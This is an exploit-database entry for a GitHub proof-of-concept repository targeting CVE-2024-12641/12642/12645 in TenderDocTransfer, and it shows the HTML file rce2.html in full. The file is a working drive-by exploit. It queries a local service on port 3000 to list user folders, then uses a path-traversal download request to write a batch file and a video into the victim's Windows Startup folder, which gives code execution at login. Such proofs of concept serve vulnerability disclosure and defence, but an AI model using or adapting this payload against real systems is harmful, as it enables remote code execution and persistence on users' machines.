Exploit database

GH-2708fa27ae32ad25df87261e95e22c3c

jimmy01240397/cve-2024-12641_12642_12645

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-12641

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
jimmy01240397/cve-2024-12641_12642_12645Revision eeba1d4cf199

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

tdt/rce2.html

HTML · 2,133 bytes

<script type="module">
    async function ls(dir) {
        const res = await fetch('http://localhost:3000/fileManager/getFileList', { 
            method: 'POST', 
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            }, 
            body: `dirPath=${encodeURIComponent(dir)}`,
        });
        return await res.json();
    }
    
    async function write(dir) {
        dir = dir.replace('\\', '/');
        dir = dir.replace('C:/', '../../../');
        let url = `${location.protocol}//${location.hostname}`;
        if (location.port != '') {
            url += `:${location.port}`;
        }
        let tenderInfo = JSON.stringify({"apServerAddress":url,"downloadStatus":3,"doctype":1,"fileNames":[]})
        await fetch('http://localhost:3000/docDownload/step1', { 
            method: 'POST', 
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            }, 
            body: `tenderInfo=${encodeURIComponent(btoa(tenderInfo))}`,
        });
        let selectedFiles = JSON.stringify({"selectedFiles":dir})
        const res = await fetch('http://localhost:3000/docDownload/download', { 
            method: 'POST', 
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            }, 
            body: `selectedFiles=${encodeURIComponent(selectedFiles)}`,
        });
        return await res.json();
    }

    const users = await ls('C:/Users');
    let username;
    for (var i = 0; i < users.data.length; i++) {
        if (users.data[i].type === 'D') {
            if (!(await ls('C:/Users/' + users.data[i].name + '/AppData/Local/Programs/TenderDocTransfer')).error) {
                username = users.data[i].name;
                break;
            }
        }
    }
    if (username) {
        console.log(await write('C:/Users/' + username + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/run.bat'));
        console.log(await write('C:/Users/' + username + '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/rickroll.mp4'));
    }

</script>